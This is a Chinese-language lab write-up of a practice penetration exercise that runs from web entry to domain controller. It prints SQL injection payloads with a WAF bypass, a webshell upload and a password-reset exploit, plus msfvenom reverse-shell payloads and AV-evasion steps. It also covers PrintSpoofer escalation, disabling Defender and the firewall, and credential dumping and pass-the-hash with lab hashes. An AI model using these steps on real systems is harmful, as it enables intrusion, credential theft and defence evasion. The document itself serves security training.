Bootstrap

内网渗透思路学习——靶场实战——暗月项目七

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

环境配置

靶场搭建

靶场地址: https://pan.baidu.com/s/12pSYxSU-ZmurQ9–GFiaXQ
提取码: 3p47

项目七靶场渗透最终目的:获得域控中的flag.txt文件中的内容
在这里插入图片描述
项目七靶场环境是用 VMware Workstation 搭建,把环境文件下载后,用VMware Workstation 编辑虚拟网络编辑器即可正常访问。

  • WEB 服务器是双网卡

第一块网卡桥接 ip 段是 192.168.0.0/24
第二块网卡 vmnet18 10.10.1.0/24

  • oa 服务器

第一块网卡 vmnet18 10.10.1.0/24
第二块网卡 vmnet19 10.10.10.0/24

  • dc 域控

网卡 vmnet19 10.10.10.0/24

在这里插入图片描述

网络拓扑图

在这里插入图片描述

测试网络

外网

对于主机web服务器是无法ping通的、防火墙拦截了数据包,所以可以通过直接访问它的80端口,查看网络是否连通
在这里插入图片描述
在这里插入图片描述

内网

由于内网主机OA同样设置有防火墙所以web与oa之间不能ping通,同样可以通过访问80端口,查看连通状态
在这里插入图片描述
由于dc没有设置防火墙,所以oa是可以直接ping通的
在这里插入图片描述

信息收集

确认ip

使用netdiscover 探测内网

sudo netdiscover -i eth0 -r 192.168.0.0/24 

在这里插入图片描述

192.168.0.114就是渗透对象
也可以使用nmap扫描

nmap -sP -PI -PT 192.168.0.0/24

在这里插入图片描述

端口扫描

利用masscan与nmap联合加快扫描速度

masscan

因为服务器上安全防护软件 尽量把 rate 的值调低 ,调大可能会被封(如果被封20分钟后解封)

masscan -p 1-65535 192.168.0.114 --rate=100

在这里插入图片描述

nmap

nmap -sV -p 3389,5985,6588,999,21,80 -A 192.168.0.114 -oA attack-ports

在这里插入图片描述

这是对nmap扫描结果美化后的界面

美化参考文章
http://t.csdn.cn/hjHSQ

在这里插入图片描述

绊定hosts域名

这个靶场 web 服务器的域名是 www.moonlab.com 在 hosts 绑定对应的 IP 方能访问 web 服务。

linux 系统 /etc/hosts
windows C:\Windows\System32\drivers\etc\hosts
192.168.0.114 www.moonlab.com

绑定后访问
在这里插入图片描述

发现什么都没有显示,随便加了个index.php,发现网站存在安全狗
在这里插入图片描述

whataweb查询网站的cms

whatweb www.moonlab.com

在这里插入图片描述
被WAF拦截了

目录扫描

由于已经知道有WAF存在,使用一般现有的扫描器都会被拦截
这里使用dirsearch开默认线程扫描会被拦截,所以将线程设置为1扫,但是并没有扫出有用的结果,基本都被WAF(安全狗)拦截返回200,还一个原因字典不够强大

python dirsearch.py  -u "www.moonlab.com" -t 1 -e*

在这里插入图片描述
在这里插入图片描述

去网上了解了扫描目录WAF(安全狗)绕过的方法:

  1. 降低请求频率,防止IP被ban
  2. 爬虫白名单绕过
  3. 代理池请求

WAF绕过参考文章:
https://www.freebuf.com/articles/web/288912.html
https://blog.csdn.net/weixin_50464560/article/details/120926097

这里由于一般扫描器都被拦截,就使用暗月师傅提供的文档里的一个目录遍历脚本,字典使用的是dirsearch自带的dicc.txt,脚本将结果输出为url.txt

#encoding:utf-8
from cgitb import reset
import requests
import sys
import time

# url = "http://www.moonlab.com"

with open ('dicc.txt','r',encoding='UTF-8') as readfile:
  for dirs in readfile.readlines():
    url = 'http://www.moonlab.com/'+dirs.strip('\n')
    resp = requests.get(url)
    strlen = len(resp.text)
    print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
    #sys.exit()
    time.sleep(2)
    if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
      if str(strlen) !=  "2939":
        with open('url.txt','a',encoding='UTF-8') as writefile:
          writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')

在这里插入图片描述
在这里插入图片描述

可以看到爆出了robots.txt文件,它的请求包返回长度为84,做到这里突然想起nmap扫描端口信息时有一个端口999开放的服务,由于本人学的很浅,这么敏感的信息没有第一时间发现利用
在这里插入图片描述

关于robots.txt文件介绍
https://blog.csdn.net/google_SEO_yang/article/details/122380323

浏览器访问
在这里插入图片描述

发现了三个后台地址,依次访问
http://www.moonlab.com/UserCenter/
在这里插入图片描述

http://www.moonlab.com/SiteFiles/
在这里插入图片描述

http://www.moonlab.com/siteserver/
在这里插入图片描述

发现是个CMS的框架有管理员登录后台和用户登录且直接显示了版本信息

系统版本: 3.6.4
.NET 版本: 2.0
数据库: Microsoft SQL Server

ps:这里如果字典足够强大的话,可以直接扫出这个后台地址响应状态为500
在这里插入图片描述
在这里插入图片描述

漏洞利用

漏洞查询

siteserver 曾经爆出过很多漏洞,而且当前的版本比较低,百度或谷歌搜索这个CMS版本可能存在的漏洞:
在这里插入图片描述
在这里插入图片描述

发现可能会存在sql注入和管理员密码重置漏洞

sql注入

POC验证

利用一些现有的poc来验证一下是否存在sql注入(如果使用一些漏洞扫描器,都会应恶意请求被WAF封掉)

https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver
https://github.com/hmoytx/WVS/tree/master/cmsscan/model/cms/siteserver

前者的2739.py将几个payload结合了一起扫,后者是分开的,但是这里我们只需利用其中的payload修改POC脚本,修改方法和之前目录扫描脚本方式一样,重新构造请求发送。

import requests

ps=[
        'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
        'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
        'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
        'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
        'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
        'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
        ]
for p in ps:
    url="http://www.moonlab.com/"+ps
    res = requests.get(url)
    if res.status_code==500 and "GAOJIMicrosoft" in res.text: #通过返回请求过滤所需的结果
      print(url+'\n')
      print('-------------------------------'+'\n')
      print(res.text)

在这里插入图片描述

可以利用的payload

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
#url解码
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --

访问页面,可以看到是报错注入
在这里插入图片描述

接下来尝试构造sql语句查询

  • 数据库版本信息
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and @@version=2; --

在这里插入图片描述

  • 数据库名称
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --

在这里插入图片描述

WAF绕过

发现被WAF拦截了,去网上查找了一些sql注入绕过WAF的文章,尝试了一下,发现还是不行(太菜了),然后观看暗月师傅的视频里是采用了按位取反的方式成功绕过了WAF,即~

sql注入WAF绕过:
https://www.freebuf.com/articles/web/330731.html

在上面那个payload中的2前上加一个~,即可绕过

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --

在这里插入图片描述

可以看到数据库名为

msmoonlab

  • 查询用户密码

知道了数据库名,接着需要了解一下siteserver的数据库表结构,这个我们已经知道了它的CMS信息,是可以在网上找到相关表结构的,或者可以将该CMS下载在本地查看,这里为了方便直接进入靶机查看一手
在这里插入图片描述

siteserver数据库表结构信息:
https://blog.csdn.net/u011966339/article/details/72235648

可以看到administrator表中的几个关键字段

UserName 用户名
Password 密码
PasswordSalt 密钥

据此来构造sql查询语句,构造payload
#注意为了防止被WAF,每次只查询一个字段

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]=~2; --

在这里插入图片描述

发现还是被WAF截掉,尝试将取反放在前面

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]; --

在这里插入图片描述

可以看到成功绕过了WAF,但是报了select语法错误,给select语句加上一个括号

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

在这里插入图片描述

成功绕过查到了用户名admin,继续查询密码、密钥

admin

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 password  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

在这里插入图片描述

64Cic1ERUP9n2OzxuKl9Tw==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 passwordsalt  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

在这里插入图片描述

LIywB/zHFDTuEA1LU53Opg==

用户名密码密钥
admin64Cic1ERUP9n2OzxuKl9Tw==LIywB/zHFDTuEA1LU53Opg==

DLL反编译

由于这一块不熟,直接按照暗月师傅的攻略来。
反编译 dll 主要用来查看网站的源码,这里主要是找到用户的加密方法。
siteserver/login.aspx 找到对应的 dll 文件位置
<%@ Page Language=“C#” Inherits=“UserCenter.Pages.LoginPage” %>
通过 dnSpy 反编译得到加密文件
在这里插入图片描述

查询到密文的加密方式是 des 对称加密,加密函数如下

public void DesEncrypt()
{
    byte[] rgbIV = new byte[]
    {
        18,
        52,
        86,
        120,
        144,
        171,
        205,
        239
        };
    try
    {
        byte[] bytes =
            Encoding.UTF8.GetBytes((this.x39d9653625493ae8.Length > 8) ?
                                   this.x39d9653625493ae8.Substring(0, 8) : this.x39d9653625493ae8);
        DESCryptoServiceProvider descryptoServiceProvider = new
            DESCryptoServiceProvider();
        byte[] bytes2 = Encoding.UTF8.GetBytes(this.x3c811436980dcf17);
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                     descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
        cryptoStream.Write(bytes2, 0, bytes2.Length);
        cryptoStream.FlushFinalBlock();
        if (!false)
        {
        }
        this.xc7d800b8a71773fd =
            Convert.ToBase64String(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
        this.x456956327593d9f6 = ex.Message;
    }
}

解密函数:

public void DesDecrypt()
{
    byte[] rgbIV = new byte[]
    {
        18,
        52,
        86,
        120,
        144,
        171,
        205,
        239
        };
    byte[] array = new byte[this.x3c811436980dcf17.Length];
    try
    {
        byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
        DESCryptoServiceProvider descryptoServiceProvider = new
            DESCryptoServiceProvider();
        array = Convert.FromBase64String(this.x3c811436980dcf17);
        MemoryStream memoryStream = new MemoryStream();
        if (!false)
        {
        }
        CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                     descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
        cryptoStream.Write(array, 0, array.Length);
        cryptoStream.FlushFinalBlock();
        Encoding encoding = new UTF8Encoding();
        this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
        this.x456956327593d9f6 = ex.Message;
    }
}
this.x456956327593d9f6

使用C#编写解密工具

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace siteserver 明文解密工具
{
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    public void DesDecrypt()
    {
    byte[] rgbIV = new byte[]
    {
    18,
    52,
    86,
    120,
    144,
    171,
    205,
    239
    };
    byte[] array = new byte[this.textBox1.Text.Length];
    try
    {
    byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(0,
    8));
    DESCryptoServiceProvider descryptoServiceProvider = new
    DESCryptoServiceProvider();
    array = Convert.FromBase64String(this.textBox1.Text);
    MemoryStream memoryStream = new MemoryStream();
    if (!false)
    {
    }
    CryptoStream cryptoStream = new CryptoStream(memoryStream,
    descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
    cryptoStream.Write(array, 0, array.Length);
    cryptoStream.FlushFinalBlock();
    Encoding encoding = new UTF8Encoding();
    this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
    this.textBox4.Text = ex.Message;
    }
    }
    private void button1_Click(object sender, EventArgs e)
    {
    DesDecrypt();
    }
    }
}

在这里插入图片描述

admin5566

密码重置漏洞

在寻找这个CMS漏洞中发现可能会存在管理员密码重置漏洞

参考文章:
https://cloud.tencent.com/developer/article/1472287

先进入管理员登录界面,点击忘记密码
在这里插入图片描述

输入刚刚获取的管理员用户名admin,点击下一步,进入回答问题界面,随便输入,然后使用burp suite抓包
在这里插入图片描述
在这里插入图片描述

将答案设置为空
在这里插入图片描述

然后放包,此时回到浏览器界面可以看到明文密码被爆出来了,和刚刚解密出来的密文一致,nice!!!!!
在这里插入图片描述

文件上传漏洞

寻找上传点

上一步成功获取了管理员用户名和密码,登录后台,寻找 文件上传点

admin
admin5566

在内容模型模块找到几个上传点,上传一些过狗马和压缩包都给WAF拦截了或者报上传错误,只能继续寻找
在这里插入图片描述

在网上搜索到管理员后台getshell的方法,试了一种可行,另外两种就没试了,感兴趣可以试一下

siteserver CMS getshell;
http://t.csdn.cn/jesf4

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
在这里插入图片描述

上传webshell

这里直接在下面写入aspx一句话木马最好是过狗马,这里我使用的是冰蝎自带的aspx,没被WAF,输入完点击确定,返回模板管理
在这里插入图片描述
在这里插入图片描述

点击生成的文件名,会跳转到该文件位置

http://www.moonlab.com/.aspx

在这里插入图片描述

getshell

复制地址尝试用冰蝎连接
在这里插入图片描述

没想到成功连上了,没被WAF杀掉,奥利给!!!!!
在这里插入图片描述

方法二

我看暗月师傅的视频和文档里利用的不是这个上传点,是
系统管理-》站点模板管理-》导入站点模板,这里我也尝试了一下,是直接上传压缩包
在这里插入图片描述

导入压缩好的冰蝎马,点击确定
在这里插入图片描述

然后我就遇到问题了,这里确定后啥页面没显示,也没被WAF拦截,应该是上传成功了,但是这个页面没有任何新的东西显示,不知道上传到哪去了,不知道文件路径,然后一时间不知道该怎么办,看暗月师傅视频里,他是直接进入靶机里面查看的。emmmmmm
不过在经过一番寻找后我发现了系统管理下面有一个站点文件管理,点进去查看,发现是整个网站目录,nice!!!!

#这里也给大家一些提示就是,还可以去网上搜索该CMS的目录结构,和前面数据库时一样,或者有时间有条件可以把CMS下载到本地去查看

在这里插入图片描述

经过一番查找之后发现刚刚上传的压缩包在SiteFiles->SiteTemplates下,并且已经解压了,接下来就好办了
在这里插入图片描述

打开shell文件夹,点击里面的shell.apsx直接跳转到文件地址
在这里插入图片描述

发现界面和刚刚一样,感觉有戏:

http://www.moonlab.com/SiteFiles/SiteTemplates/shell/shell.aspx

在这里插入图片描述

直接上冰蝎连接,连接成功,奥利给
在这里插入图片描述

这里我都是使用冰蝎马上传的,且没被WAF拦截,不过也去了解了一些过狗马的思路和方法
文件上传绕过WAF:
https://blog.csdn.net/qq_50854790/article/details/123691985

WEB服务器信息收集

前面成功getshell,使用冰蝎执行命令,收集信息

用户信息

whoami /all

在这里插入图片描述

SeImpersonatePrivilege 身份验证后模拟客户端 已启用 这个服务能够帮助我们提权

系统信息

systeminfo

在这里插入图片描述
在这里插入图片描述

IP

ipconfig /all

在这里插入图片描述
在这里插入图片描述

可以看到两块网卡信息,划重点

Ethernet0:192.168.0.114
Ethernet1:10.10.1.131

开放的端口

netstat -ano

在这里插入图片描述

开启的服务

net start

在这里插入图片描述

在这里插入图片描述

存在的防护服务

safedog 安全狗
Defender win自带的杀毒
firewall 防火墙

可以利用的服务

MySQL 提权
SQLserver 提权
Print Spooler 打印机服务提权

开启的进程

tasklist

在这里插入图片描述

在这里插入图片描述

信息整理

  • web 服务器有双网卡
  • 两个 ip 分别是192.168.0.114和 10.10.1.131 ,发现了新网段 10.10.1.0/24
  • 当前是 普通用户权限
  • 服务器有 WAF,windows defender 等防护措施

代理穿透

反弹shell

这一步其实可以不用操作,作为不是很大,但是我的主要目的是为了多学习,所以多实践了一下。
直接利用冰蝎提供的反弹shell模块联合MSF反弹shell,话不多说,开干
在这里插入图片描述

接着打开kali的msf,执行下列命令

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
show options
expolit

在这里插入图片描述

开启监听,回到冰蝎点击给我连
在这里插入图片描述

隧道代理

添加路由:

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p

添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run

在这里插入图片描述

设置本地代理文件配置

我kali是这个文件
vim /etc/proxychains4.conf
一般都是
vim /etc/proxychains.conf

在这里插入图片描述

#测试一下是否成功

proxychains4 curl 10.10.1.130

在这里插入图片描述

成功访问

转CS

msf与cs互传shell
https://blog.csdn.net/qq_44159028/article/details/124278770

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10   //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler
run

在这里插入图片描述

在这里插入图片描述

权限提升

PrintSpoofer 提权

去网上搜索了一些windows的提权思路,本意是为了多学习点东西,这里所使用的是CVE-2022-21999 Windows Print Spooler(打印服务),由于存在WAF和防火墙,还要注意免杀处理

Windows server-2016 print提权
https://blog.csdn.net/hackzkaq/article/details/124882702
https://blog.csdn.net/weixin_46944519/article/details/123602625

工具下载地址
https://github.com/itm4n/PrintSpoofer

将下载的程序上传至C:/Windows/Temp/
#这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录
在这里插入图片描述

切换到虚拟终端执行程序

PrintSpoofer64.exe -h

在这里插入图片描述

查看权限是否提升

PrintSpoofer64.exe -i -c "whoami"

在这里插入图片描述

当前权限是 system 服务器上装有多个防护 服务器安全狗,增加用户会被拦截。最好是直接上远控,但是 windows server 2016 自带杀defender 远控或者shellode 都会被查杀,所以要做免杀处理。

免杀处理

制作免杀payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=2333 -e x86/shikata_ga_nai -i 20 -f c -o payload.txt

在这里插入图片描述

复制payload.txt里面的内容
在这里插入图片描述

使用工具进行shellcode编译

工具地址
https://github.com/1y0n/AV_Evasion_Tool

在这里插入图片描述

被火狐给查杀了,但还是抱着试一下的心态看能不能行
在这里插入图片描述

上传生成的免杀notepad.exe
在这里插入图片描述

上传成功,没被杀掉,感觉有戏

MSF监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2333
exploit -j

在这里插入图片描述

得到session

用刚刚执行管理员权限去运行免杀程序

PrintSpoofer64.exe -i -c "notepad.exe"

在这里插入图片描述

可以看到成功得到session,查看权限
在这里插入图片描述

寻找一个系统进程和管理员进程进行迁移
在这里插入图片描述

在这里插入图片描述

哦豁,刚迁移完进程就被windows defender查杀了,难受了
在这里插入图片描述

关windows defender

这里看了暗月师傅里的视频,也是同样如此,他重新启动靶机,更改攻击载荷后成功又得到了session,但是我感觉还是不是很稳妥,参考一篇大佬的文章思路是:既然绕过不杀软、为何不直接将它杀了,然后利用了这个工具

https://github.com/APTortellini/DefenderSwitch

下载下来后,直接上传
在这里插入图片描述

然后利用printspoofer漏洞获取一个system的执行DefenderSwitch.exe

PrintSpoofer64.exe -i -c "DefenderSwitch.exe -off"

在这里插入图片描述

image.png
可以看到windows defender service被关闭了,接下来就好办了,重复刚刚得到session的步骤

再次监听获取session

image.png
image.png
因为我是另外开的一个kali-shell窗口,所以session变为了1
image.png

迁移进程

再次寻找一个系统进程和管理员进程进行迁移
image.png
这次就没东西可杀了,哈哈哈哈

转CS

注意要查看一下隧道代理是否还在,然后和上面步骤一样

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10   //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler
run

image.png

内网信息收集

获取密码hash明文

可以直接通过cs来获取管理员密码

hashdump
logonpasswords

administrator
!@#QWE123

cs使用参考
http://wiki.tidesec.com/docs/cs

image.png
当然还可以直接在msf中mimikatz破解hash来获取账户密码,但是我测试有点问题没有一直纠结它,直接hashdump,然后md5解密。

mimikatz使用教程
https://blog.csdn.net/weixin_40412037/article/details/113348310

load kiwi //加载kiwi模块
help kiwi //查看帮助

image.png

hashdump

image.png
image.png
这里还可以使用hashcat工具来破解明文密码,这里我就没列举实验了

hashcat简单使用
https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614

远程桌面登录

image.png
遇到点问题:
image.png
解决:
在这里插入图片描述

重新连接
image.png

关闭WAF

清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了

跨网段信息收集

查看arp信息

arp -a

image.png
可以看到10.10.1.0网段有一台130主机,本机是131,进一步确认

IP扫描

arp_scanner

使用msf的自带得arp扫描,之前操作已经做了代理穿透

run arp_scanner -r 10.10.1.0/24

image.png

nmap

这里不推荐使用nmap扫描ip,慢慢慢慢!!!!

proxychains nmap -sT -Pn 10.10.1.0/24

确认内网目标

10.10.1.130

端口扫描

masscan
proxychains masscan -p 1-65535 10.10.1.130 --rate=500

image.png

nmap

nmap扫最好指定一些常用端口,不然效率太低了

proxychains nmap -sT -Pn 10.10.1.130  -p
80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,
9300 ,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open

image.png
可以看到只能扫到80端口开放,应该做了端口访问控制。
访问80端口,可以看到又是一个CMS:通达OA
image.png

漏洞利用

通达OA文件上传

前面成功访问了第二台主机的80端口,发现使用的是通达OACMS,去百度了一下,发现这个cms有很多漏洞,其中就包含文件上传文件包含,并且都能getshel,由于我的目的是为了getshell,继续渗透,就没有过多去复现通达OA的各种漏洞,过后有时间可以再来玩玩。

通达OA漏洞详情:
https://jishuin.proginn.com/p/763bfbd5a77f
https://lorexxar.cn/2021/03/03/tongda11-7rce/
https://xz.aliyun.com/t/7433

网上有很多现成的RCE利用工具,可以直接利用getshell

工具地址;
https://github.com/Al1ex/TongDa-RCE
https://github.com/xinyu2428/TDOA_RCE

RCE

python tongda_rce.py http://10.10.1.130/

image.png
可以看到RCE成功,为系统权限,看看脚本源码,执行的是whoami
image.png

getshell

python tongda_shell.py http://10.10.1.130/

image.png
image.png
image.png
这个shell应该被安全软件查杀了,所以得将脚本里的webshell进行base64编码,以多种姿态去绕过查杀,下面是另一个RCE-getshell的工具
image.png
可以看到地址响应状态是200,
image.png

然后使用蚁剑连接,这里由于已经做了socks代理,所以是能直接连接的
image.png
可以看到连接成功,进入到webroot目录下能看到上传的shell
image.png
可以看到是系统权限,不用再进行提权操作了
image.png

OA服务器信息收集

用户信息

whoami /all

image.png

系统信息

systeminfo

image.png
可以看到OA服务器所处在的域

attack.local

IP

ipconfig

image.png
可以有两块网卡信息,划重点

Ethernet0:10.10.1.10
Ethernet1:10.10.10.166

开放的端口

netstat -ano

image.png
可以看到几个重要端口都是开放的,这里445端口是开放的、如果可以利用的话、我们可以避免麻烦直接使用正向代理进行连接、这样就避免做二次代理的麻烦了。

开启的服务

net start

image.png
image.png

开启的进程

tasklist /svc     //进程列表

image.png

信息整理

  • oa 服务器有双网卡
  • 两个 ip 分别是 10.10.1.130 和 10.10.10.166,发现了新网段 10.10.10.0/24
  • 当前是 system 权限
  • 服务器有 360 安全卫士,360 杀毒软件,windows firewall 等防护措施

免杀上线msf、CS

关闭Windows防火墙

NetSh Advfirewall set allprofiles state off

image.png
现在可以访问除 80 以外的端口,可以正向连接 oa 服务器 再进行其他操作深入的操作。
之前端口扫描只扫到一个80端口,在刚看到445端口也是开放的,再次使用nmap扫描验证一下

proxychains4 nmap -sT -Pn 10.10.1.130 -p 445

image.png

生成免杀木马

制作payload

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 20 -f c -o bind.txt

image.png

免杀处理

工具地址前文有
image.png
蚁剑上传
image.png
发现并没有被杀掉,应该免杀成功

制作CS木马

先添加一个tcp监听,然后使用Windows Executable(Stageless)生成payload
image.png
image.png
蚁剑上传
image.png
没被查杀

上线msf

设置监听


use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130     #正向连接的时候直接是设置目标机器的ip即可
set lport 6666

image.png

运行上线msf

image.png
image.png
可以看到成功得到session,上线msf

上线CS

运行payload
image.png
cs监听,成功上线

connect 10.10.1.130 3333

image.png

横向渗透

获取密码

hashdump
logonpasswords

image.png
image.png
image.png
ntlm解密

存在 attack 域 看来是域管理登录image.png

域控
administrator
!@#QWEasd

过的 访问用户目录存在域管理用户目录

域信息收集

一下是一些基础命令

net user /domain 查看域用户
net view /domain 查看有几个域
net view /domian:xxx  查看域内主机
net group /domain  查看域里面的组
net group "domain computers" /domain  查看域内主机名
net group "domain admins " /domian  查看域管理员
net group "domain controllers" /domain  查看域控制器
net group "enterprise admins " /domain 查看企业管理组
net time /domain 查看时间服务器

定位域控

net time

image.png

域控:dc.attack.local

查看域控的用户登录情况

以上列举了三种方法,其实内网信息收集方法很多这里没有一一去学习,比如powershell、empire等等工具都可以

使用msf
登陆域的用户信息
run post/windows/gather/enum_logged_on_users

image.png

域内 PC
run post/windows/gather/enum_ad_computers

image.png

域控名和dcip
 run post/windows/gather/enum_domain

image.png

[+] FOUND Domain: attack
[+] FOUND Domain Controller: dc (IP: 10.10.10.165)

组信息
 run post/windows/gather/enum_ad_groups
使用shell
查看域内用户

image.png
小插曲,解决乱码问题,在shell终端输入

chcp 65001

image.png

查看域控所在的组
net group /domain

image.png

查看登录域内的administrator用户
net localgroup administrators /domain

image.png

查看域内的admin用户
net group "domain admins" /domain

image.png

查看域控制器
net group "domain controllers" /domain

image.png

使用CS

cs域内信息收集详情:
http://www.360doc.com/content/21/0614/08/71939662_981945264.shtml

cs有很多内网信息收集的插件感兴趣的可以去网上找一找

cs相关资源;
https://github.com/zer0yu/Awesome-CobaltStrike
插件:
https://github.com/lintstar/LSTAR
https://github.com/pandasec888/taowu-cobalt-strike
https://github.com/k8gege/Ladon

域名
net domain

image.png

域控登录的主机信息
net computers

image.png

域控的主机名以及ip信息
net domain_controllers

image.png

域控信息、用户名
net domain_trusts 

image.png

所有登录域的用户信息
net logons 

image.png

会话
net sessions

image.png

共享
net share

image.png

访问域控信息

添加路由

在oa服务器10.10.1.130的机器上在添加一条10.10.10.0/24的静态路由、以便我们访问域控的10.10.10.165的机器

run autoroute -s 10.10.10.0/24
run autoroute -p

image.png

访问域控主机
 proxychains4 ping 10.10.10.165

image.png

端口扫描
proxychains4 masscan -p 1-65535 10.10.10.165 --rate=500

image.png
可以看到3389端口是开放的

proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,21,22,23,2601,3389 --open

image.png

获取域控管理员

窃取进程建立shell

msf建立dc-shell

一般可以在OA主机上发现域控管理员在线的进程,然后msf直接使用命令窃取进程,尝试获得administrator的用户shell
查看进程,可以看到attack的管理员进程也就是域控
image.png
使用命令窃取进程
image.png
尝试建立administrator的用户shell
image.png
无法得到域控shell,尝试访问dc的c盘,同样无法访问,那么这个administrator是没有意义的
image.png

rev2self

取消刚刚窃取的attack的shell
image.png

CS建立dc-shell

注入进程,建立shell
image.png
尝试访问文件,和查看用户
image.png
可以看到cs能成功拿到域控了

kiwi 域管 ntlm

dcsync_ntlm administrator
dcsync_ntlm krbtgt

image.png

SMB利用

前文已经获取了ATTCK域中administrator账户的hash,尝试PTH(在PTH之前要新建一个SMB监听器)使用CS开启一个smb监听
image.png
image.png
获取域控失败
image.png
利用msf的smb模块也同样失败了,具体什么原因不知道

use exploit/windows/smb/psexec
set RHOSTS 10.10.10.165
set payload windows/meterpreter/reverse_tcp
set LPORT 8888
set LHOST 192.168.1.130
set SMBUSER Administrator
set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1
set SMBDomain attack.local
